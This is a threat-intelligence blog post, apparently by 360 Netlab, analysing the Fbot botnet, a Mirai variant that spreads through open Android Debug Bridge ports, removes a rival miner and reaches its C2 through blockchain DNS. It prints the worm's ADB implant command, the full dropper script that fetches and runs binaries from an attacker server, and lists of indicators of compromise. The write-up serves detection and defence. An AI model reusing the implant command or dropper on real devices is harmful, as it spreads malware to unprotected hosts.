Fbot, A Satori Related Botnet Using Block-chain DNS System
<!--kg-card-begin: markdown--><p>Since 2018-09-13 11:30 UTC, a new botnet (we call it Fbot) popped up in our radar which really caught our attention.</p>
<p>There are 3 interesting aspects about this new botnet:</p>
<ul>
<li>First, so far the only purpose of this botnet looks to be just going after and removing another botnet com.ufo.miner.</li>
<li>Second, the bot does not use traditional DNS to communicate with the C2, instead, it utilizes block-chain DNS to resolve the non-stand C2 name musl.lib. (see below for details)</li>
<li>Third, this bot appears to have strong links to the original satori botnet(see below for details)</li>
</ul>
<p>com.ufo.miner is a malware variant of <a href="__GHOST_URL__/tag/adbminer/">ADB.Miner</a> crypto-mining family targeting adb(Android Debug Bridge). We first reported ADB.Miner on our <a href="__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/">blog</a>  this February. And since then, this botnet family have infected a variety of equipment such as <a href="https://forum.xda-developers.com/fire-tv/general/firestick-gen-2-test-app-popping-t3771601">Amazon FireTV</a>.</p>
<h4 id="analysis">Analysis</h4>
<p>Fbot spreads using the same mechanism used by earlier ADB.Miner.</p>
<p>The implant payload downloads and executes one of the following two scripts:</p>
<ul>
<li>hxxp://188.209.52.142/c</li>
<li>or hxxp://188.209.52.142/w</li>
</ul>
<p>These two scripts are almost the same, with a very minor difference, just one uses wget, and one uses curl. The function of the script:</p>
<ul>
<li>Download the core payload malware fbot.{arch} from 188.209.52.142, within which embed the C2 musl.lib .</li>
<li>Uninstall com.ufo.miner</li>
<li>Self-cleaning</li>
</ul>
<p>The fbot.{arch} is a Mirai variant. Its features include:</p>
<ul>
<li>C2: a blockchain Domain musl.lib on port 7000, current EmerDNS resolves it to 66.42.57.45, SINGAPORE/SG Singapore</li>
<li>Scan and propagate: Scans port TCP 5555 for ADB service, and asks victims to download hxxp://188.209.52.142/c using adb interface.</li>
<li>House clean: The sample looks for and kills specific processes under the /proc/pid/exe directory, such as SMI, Xig, rig, and so on.</li>
</ul>
<p>This variant still keeps the DDoS module from Mirai, but we have not logged any DDoS attack command from C2 till now.</p>
<p>The C2 in the fbot.{arch}:</p>
<p><img src="__GHOST_URL__/content/images/2018/09/image--1-.png" alt="" loading="lazy"></p>
<p>The scanning and implanting payload:</p>
<pre><code>shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -&gt; w; sh w; rm w; curl http://188.209.52.142/c &gt; c; sh c; rm c
</code></pre>
<p>The process list to be killed:</p>
<pre><code>/data/local/tmp/smi
/data/local/tmp/xig
/data/local/tmp/trinity
/data/local/tmp/z
/data/local/tmp/log
/data/local/tmp/rig
/data/local/tmp/.f
/data/local/tmp/tyg
</code></pre>
<h4 id="thec2musllib">The C2 musl.lib</h4>
<p>The C2 domain musl.lib is not a standard DNS domain name. Its top-level domain .lib is NOT registered to ICANN and cannot be resolute by the traditional DNS system.</p>
<p>This domain name is resolved by EmerDNS, Emercoin.com’s  blockchain-based DNS system. According to its <a href="https://emercoin.com/zh/emerdns">web site</a>, it is built on block-chain technology and is fully decentralized,</p>
<p>There are several options when users want to access a .lib web site:</p>
<ul>
<li>Through OpenNIC, which relays the dns requests between users and the EmerDNS system.</li>
<li>user can install a specific extension to the browser</li>
<li>user can set up a Emer node himself</li>
</ul>
<p>Fbot hardcodes a list of OpenNic DNS server IP addresses. The hard-coded servers are at least the following:</p>
<pre><code>176.126.70.119
163.53.248.170
174.138.48.29
5.132.191.104
107.172.42.186
163.172.168.171
174.138.48.29
185.208.208.141
163.53.248.170
5.132.191.104
</code></pre>
<p>Currently the EmerDNS resolution of musl.lib is as follows:</p>
<pre><code>https://explorer.emercoin.com/nvs//musl.lib//25/1/1
</code></pre>
<p>Readers can use the following commands to reproduce the resolution process:</p>
<pre><code>user@netlab.360.com$dig musl.lib @seed2.emercoin.com +short
66.42.57.45
</code></pre>
<p>The choice of Fbot using EmerDNS other than traditional DNS is pretty interesting, it raised the bar for security researcher to find and track the botnet (Security systems will fail if they only look for traditional DNS names), also it make it harder to sinkhole the C2 domain, at least not applicable for a ICANN members.</p>
<h4 id="therelationshipbetweenfbotandsatori">The Relationship between Fbot and Satori</h4>
<p>The following diagram shows the relationship between the Fbot and the Satori botnet:</p>
<p><img src="__GHOST_URL__/content/images/2018/09/fbot-and-satori-2.png" alt="" loading="lazy"></p>
<p>In the figure above:</p>
<ul>
<li>Fbot C2 IP right now is 66.42.57.45, which resolves to 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com, and ukrainianhorseriding.com’s registration email is <a href="mailto:village@riseup.net">village@riseup.net</a>.</li>
<li><a href="mailto:village@riseup.net">village@riseup.net</a> also owns rippr.cc, which is the C2 for the <a href="__GHOST_URL__/tag/satori/">Satori</a> botnet</li>
</ul>
<p>IP 27.102.115.44 is also connected to Fbot.</p>
<ul>
<li>Via the domain name 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com</li>
<li>The URL pattern on the IP is consistent with the URL pattern of the Fbot download server 188.209.52.142, see IoC at the end of the article for more detail</li>
</ul>
<p>With all these, we think all the domain names, IPs, URLs and samples presented in the figure form a strongly inter-connected cluster, Fbot has very stong link with Satori</p>
<h4 id="contactus">Contact Us</h4>
<p>Readers can reach us on our  <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat <strong>360Netlab</strong> or email to netlab at 360 dot cn.</p>
<h4 id="ioc">IoC</h4>
<p>Download Server</p>
<pre><code>188.209.52.142 Netherlands/NL	AS49349
</code></pre>
<p>C2 Server</p>
<pre><code>musl.lib         #C2 domain, resolved by EmerDNS, a block-chain DNS
musl.lib:7000 currently resolves to 66.42.57.457000 #Singapore/SG Singapore  #Current C2 IP and port
ukrainianhorseriding.com #Related C2 domain
27.102.115.44    Republic of Korea/KR    AS45996 #Related C2 IP
rippr.cc         #Related domain, a Satori C2
</code></pre>
<p>Downloading URL</p>
<pre><code>hxxp://188.209.52.142/c          #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work
hxxp://188.209.52.142/w          #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work
hxxp://188.209.52.142/fbot.aarch64     #Scanners, will spread itself in a worm style
hxxp://188.209.52.142/fbot.arm7
hxxp://188.209.52.142/fbot.mips
hxxp://188.209.52.142/fbot.mipsel
hxxp://188.209.52.142/fbot.x86
hxxp://188.209.52.142/fbot.x86_64
hxxp://27.102.115.44/c          #历史关联脚本
hxxp://27.102.115.44/w
hxxp://27.102.115.44/mipsel.bot.le
hxxp://27.102.115.44/mips.bot.be
hxxp://27.102.115.44/i686.bot.le
hxxp://27.102.115.44/arm7.bot.le
hxxp://27.102.115.44/arm64.bot.le
hxxp://27.102.115.44/x86_64.bot.le
hxxp://27.102.115.44/adbs
hxxp://27.102.115.44/adbs2
hxxp://27.102.115.44/
</code></pre>
<p>One of the Scripts</p>
<pre><code>#!/system/bin/sh

n=&quot;arm7 mipsel mips x86 x86_64 aarch64&quot;
http_server=&quot;188.209.52.142&quot;

for i in $n
do
    cp /system/bin/sh fbot.$i
    &gt;fbot.$i
    curl hxxp://$http_server/fbot.$i &gt; fbot.$i   #    wget hxxp://$http_server/fbot.$i &gt; fbot.$i
    chmod 777 fbot.$i
    ./fbot.$i
    rm fbot.$i
done

# Cleanup
for i in $n
do
    rm fbot.$i
done

pm uninstall com.ufo.miner

# Suicide
rm $0
</code></pre>
<!--kg-card-end: markdown-->
Since 2018-09-13 11:30 UTC, a new botnet (we call it Fbot) popped up in our radar which really caught our attention.


There are 3 interesting aspects about this new botnet:


 * First, so far the only purpose of this botnet looks to be just going after and removing another botnet com.ufo.miner.
 * Second, the bot does not use traditional DNS to communicate with the C2, instead, it utilizes block-chain DNS to resolve the non-stand C2 name musl.lib. (see below for details)
 * Third, this bot appears to have strong links to the original satori botnet(see below for details)


com.ufo.miner is a malware variant of ADB.Miner crypto-mining family targeting adb(Android Debug Bridge). We first reported ADB.Miner on our blog this February. And since then, this botnet family have infected a variety of equipment such as Amazon FireTV.


Analysis


Fbot spreads using the same mechanism used by earlier ADB.Miner.


The implant payload downloads and executes one of the following two scripts:


 * hxxp://188.209.52.142/c
 * or hxxp://188.209.52.142/w


These two scripts are almost the same, with a very minor difference, just one uses wget, and one uses curl. The function of the script:


 * Download the core payload malware fbot.{arch} from 188.209.52.142, within which embed the C2 musl.lib .
 * Uninstall com.ufo.miner
 * Self-cleaning


The fbot.{arch} is a Mirai variant. Its features include:


 * C2: a blockchain Domain musl.lib on port 7000, current EmerDNS resolves it to 66.42.57.45, SINGAPORE/SG Singapore
 * Scan and propagate: Scans port TCP 5555 for ADB service, and asks victims to download hxxp://188.209.52.142/c using adb interface.
 * House clean: The sample looks for and kills specific processes under the /proc/pid/exe directory, such as SMI, Xig, rig, and so on.


This variant still keeps the DDoS module from Mirai, but we have not logged any DDoS attack command from C2 till now.


The C2 in the fbot.{arch}:





The scanning and implanting payload:


shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c



The process list to be killed:


/data/local/tmp/smi
/data/local/tmp/xig
/data/local/tmp/trinity
/data/local/tmp/z
/data/local/tmp/log
/data/local/tmp/rig
/data/local/tmp/.f
/data/local/tmp/tyg



The C2 musl.lib


The C2 domain musl.lib is not a standard DNS domain name. Its top-level domain .lib is NOT registered to ICANN and cannot be resolute by the traditional DNS system.


This domain name is resolved by EmerDNS, Emercoin.com’s blockchain-based DNS system. According to its web site, it is built on block-chain technology and is fully decentralized,


There are several options when users want to access a .lib web site:


 * Through OpenNIC, which relays the dns requests between users and the EmerDNS system.
 * user can install a specific extension to the browser
 * user can set up a Emer node himself


Fbot hardcodes a list of OpenNic DNS server IP addresses. The hard-coded servers are at least the following:


176.126.70.119
163.53.248.170
174.138.48.29
5.132.191.104
107.172.42.186
163.172.168.171
174.138.48.29
185.208.208.141
163.53.248.170
5.132.191.104



Currently the EmerDNS resolution of musl.lib is as follows:


https://explorer.emercoin.com/nvs//musl.lib//25/1/1



Readers can use the following commands to reproduce the resolution process:


user@netlab.360.com$dig musl.lib @seed2.emercoin.com +short
66.42.57.45



The choice of Fbot using EmerDNS other than traditional DNS is pretty interesting, it raised the bar for security researcher to find and track the botnet (Security systems will fail if they only look for traditional DNS names), also it make it harder to sinkhole the C2 domain, at least not applicable for a ICANN members.


The Relationship between Fbot and Satori


The following diagram shows the relationship between the Fbot and the Satori botnet:





In the figure above:


 * Fbot C2 IP right now is 66.42.57.45, which resolves to 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com, and ukrainianhorseriding.com’s registration email is village@riseup.net.
 * village@riseup.net also owns rippr.cc, which is the C2 for the Satori botnet


IP 27.102.115.44 is also connected to Fbot.


 * Via the domain name 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com
 * The URL pattern on the IP is consistent with the URL pattern of the Fbot download server 188.209.52.142, see IoC at the end of the article for more detail


With all these, we think all the domain names, IPs, URLs and samples presented in the figure form a strongly inter-connected cluster, Fbot has very stong link with Satori


Contact Us


Readers can reach us on our twitter, WeChat 360Netlab or email to netlab at 360 dot cn.


IoC


Download Server


188.209.52.142 Netherlands/NL	AS49349



C2 Server


musl.lib         #C2 domain, resolved by EmerDNS, a block-chain DNS
musl.lib:7000 currently resolves to 66.42.57.457000 #Singapore/SG Singapore  #Current C2 IP and port
ukrainianhorseriding.com #Related C2 domain
27.102.115.44    Republic of Korea/KR    AS45996 #Related C2 IP
rippr.cc         #Related domain, a Satori C2



Downloading URL


hxxp://188.209.52.142/c          #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work
hxxp://188.209.52.142/w          #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work
hxxp://188.209.52.142/fbot.aarch64     #Scanners, will spread itself in a worm style
hxxp://188.209.52.142/fbot.arm7
hxxp://188.209.52.142/fbot.mips
hxxp://188.209.52.142/fbot.mipsel
hxxp://188.209.52.142/fbot.x86
hxxp://188.209.52.142/fbot.x86_64
hxxp://27.102.115.44/c          #历史关联脚本
hxxp://27.102.115.44/w
hxxp://27.102.115.44/mipsel.bot.le
hxxp://27.102.115.44/mips.bot.be
hxxp://27.102.115.44/i686.bot.le
hxxp://27.102.115.44/arm7.bot.le
hxxp://27.102.115.44/arm64.bot.le
hxxp://27.102.115.44/x86_64.bot.le
hxxp://27.102.115.44/adbs
hxxp://27.102.115.44/adbs2
hxxp://27.102.115.44/



One of the Scripts


#!/system/bin/sh

n="arm7 mipsel mips x86 x86_64 aarch64"
http_server="188.209.52.142"

for i in $n
do
    cp /system/bin/sh fbot.$i
    >fbot.$i
    curl hxxp://$http_server/fbot.$i > fbot.$i   #    wget hxxp://$http_server/fbot.$i > fbot.$i
    chmod 777 fbot.$i
    ./fbot.$i
    rm fbot.$i
done

# Cleanup
for i in $n
do
    rm fbot.$i
done

pm uninstall com.ufo.miner

# Suicide
rm $0


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\nSince 2018-09-13 11:30 UTC, a new botnet (we call it Fbot) popped up in our radar which really caught our attention.\n\nThere are 3 interesting aspects about this new botnet:\n \n * First, so far the only purpose of this botnet looks to be just going after and removing another botnet com.ufo.miner.\n * Second, the bot does not use traditional DNS to communicate with the C2, instead, it utilizes block-chain DNS to resolve the non-stand C2 name musl.lib. (see below for details)\n * Third, this bot appears to have strong links to the original satori botnet(see below for details)\n\ncom.ufo.miner is a malware variant of [ADB.Miner](__GHOST_URL__/tag/adbminer/) crypto-mining family targeting adb(Android Debug Bridge). We first reported ADB.Miner on our [blog](__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/)  this February. And since then, this botnet family have infected a variety of equipment such as [Amazon FireTV](https://forum.xda-developers.com/fire-tv/general/firestick-gen-2-test-app-popping-t3771601).\n\n#### Analysis\n\nFbot spreads using the same mechanism used by earlier ADB.Miner.\n\nThe implant payload downloads and executes one of the following two scripts:\n\n * hxxp://188.209.52.142/c  \n * or hxxp://188.209.52.142/w\n\nThese two scripts are almost the same, with a very minor difference, just one uses wget, and one uses curl. The function of the script:\n\n * Download the core payload malware fbot.{arch} from 188.209.52.142, within which embed the C2 musl.lib .\n * Uninstall com.ufo.miner \n * Self-cleaning\n\nThe fbot.{arch} is a Mirai variant. Its features include:\n\n * C2: a blockchain Domain musl.lib on port 7000, current EmerDNS resolves it to 66.42.57.45, SINGAPORE/SG Singapore\n * Scan and propagate: Scans port TCP 5555 for ADB service, and asks victims to download hxxp://188.209.52.142/c using adb interface.\n * House clean: The sample looks for and kills specific processes under the /proc/pid/exe directory, such as SMI, Xig, rig, and so on.\n\n\n This variant still keeps the DDoS module from Mirai, but we have not logged any DDoS attack command from C2 till now.\n\nThe C2 in the fbot.{arch}:\n\n![](__GHOST_URL__/content/images/2018/09/image--1-.png)\n\nThe scanning and implanting payload:\n```\nshell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c\n```\n\nThe process list to be killed:\n```\n/data/local/tmp/smi\n/data/local/tmp/xig\n/data/local/tmp/trinity\n/data/local/tmp/z\n/data/local/tmp/log\n/data/local/tmp/rig\n/data/local/tmp/.f\n/data/local/tmp/tyg\n```\n\n#### The C2 musl.lib\n\nThe C2 domain musl.lib is not a standard DNS domain name. Its top-level domain .lib is NOT registered to ICANN and cannot be resolute by the traditional DNS system.\n\nThis domain name is resolved by EmerDNS, Emercoin.com’s  blockchain-based DNS system. According to its [web site](https://emercoin.com/zh/emerdns), it is built on block-chain technology and is fully decentralized,\n\nThere are several options when users want to access a .lib web site:\n\n * Through OpenNIC, which relays the dns requests between users and the EmerDNS system.\n * user can install a specific extension to the browser\n * user can set up a Emer node himself\n\nFbot hardcodes a list of OpenNic DNS server IP addresses. The hard-coded servers are at least the following:\n\n```\n176.126.70.119\n163.53.248.170\n174.138.48.29\n5.132.191.104\n107.172.42.186\n163.172.168.171\n174.138.48.29\n185.208.208.141\n163.53.248.170\n5.132.191.104\n```\n\nCurrently the EmerDNS resolution of musl.lib is as follows:\n```\nhttps://explorer.emercoin.com/nvs//musl.lib//25/1/1\n```\n\nReaders can use the following commands to reproduce the resolution process:\n```\nuser@netlab.360.com$dig musl.lib @seed2.emercoin.com +short\n66.42.57.45\n```\n\n\nThe choice of Fbot using EmerDNS other than traditional DNS is pretty interesting, it raised the bar for security researcher to find and track the botnet (Security systems will fail if they only look for traditional DNS names), also it make it harder to sinkhole the C2 domain, at least not applicable for a ICANN members.\n\n#### The Relationship between Fbot and Satori\n\nThe following diagram shows the relationship between the Fbot and the Satori botnet:\n\n![](__GHOST_URL__/content/images/2018/09/fbot-and-satori-2.png)\n\nIn the figure above:\n\n - Fbot C2 IP right now is 66.42.57.45, which resolves to 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com, and ukrainianhorseriding.com’s registration email is village@riseup.net.\n - village@riseup.net also owns rippr.cc, which is the C2 for the [Satori](__GHOST_URL__/tag/satori/) botnet\n\nIP 27.102.115.44 is also connected to Fbot.\n\n * Via the domain name 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com\n * The URL pattern on the IP is consistent with the URL pattern of the Fbot download server 188.209.52.142, see IoC at the end of the article for more detail\n\nWith all these, we think all the domain names, IPs, URLs and samples presented in the figure form a strongly inter-connected cluster, Fbot has very stong link with Satori\n\n#### Contact Us\n\nReaders can reach us on our  [**twitter**](https://twitter.com/360Netlab), WeChat **360Netlab** or email to netlab at 360 dot cn.\n\n\n#### IoC \nDownload Server\n```\n188.209.52.142 Netherlands/NL\tAS49349\n```\n\nC2 Server\n```\nmusl.lib         #C2 domain, resolved by EmerDNS, a block-chain DNS\nmusl.lib:7000 currently resolves to 66.42.57.457000 #Singapore/SG Singapore  #Current C2 IP and port\nukrainianhorseriding.com #Related C2 domain\n27.102.115.44    Republic of Korea/KR    AS45996 #Related C2 IP\nrippr.cc         #Related domain, a Satori C2\n```\n\nDownloading URL\n```\nhxxp://188.209.52.142/c          #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work\nhxxp://188.209.52.142/w          #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work\nhxxp://188.209.52.142/fbot.aarch64     #Scanners, will spread itself in a worm style\nhxxp://188.209.52.142/fbot.arm7\nhxxp://188.209.52.142/fbot.mips\nhxxp://188.209.52.142/fbot.mipsel\nhxxp://188.209.52.142/fbot.x86\nhxxp://188.209.52.142/fbot.x86_64\nhxxp://27.102.115.44/c          #历史关联脚本\nhxxp://27.102.115.44/w\nhxxp://27.102.115.44/mipsel.bot.le\nhxxp://27.102.115.44/mips.bot.be\nhxxp://27.102.115.44/i686.bot.le\nhxxp://27.102.115.44/arm7.bot.le\nhxxp://27.102.115.44/arm64.bot.le\nhxxp://27.102.115.44/x86_64.bot.le\nhxxp://27.102.115.44/adbs\nhxxp://27.102.115.44/adbs2\nhxxp://27.102.115.44/\n```\n\nOne of the Scripts\n```\n#!/system/bin/sh\n\nn=\"arm7 mipsel mips x86 x86_64 aarch64\"\nhttp_server=\"188.209.52.142\"\n\nfor i in $n\ndo\n    cp /system/bin/sh fbot.$i\n    >fbot.$i\n    curl hxxp://$http_server/fbot.$i > fbot.$i   #    wget hxxp://$http_server/fbot.$i > fbot.$i\n    chmod 777 fbot.$i\n    ./fbot.$i\n    rm fbot.$i\ndone\n\n# Cleanup\nfor i in $n\ndo\n    rm fbot.$i\ndone\n\npm uninstall com.ufo.miner\n\n# Suicide\nrm $0\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}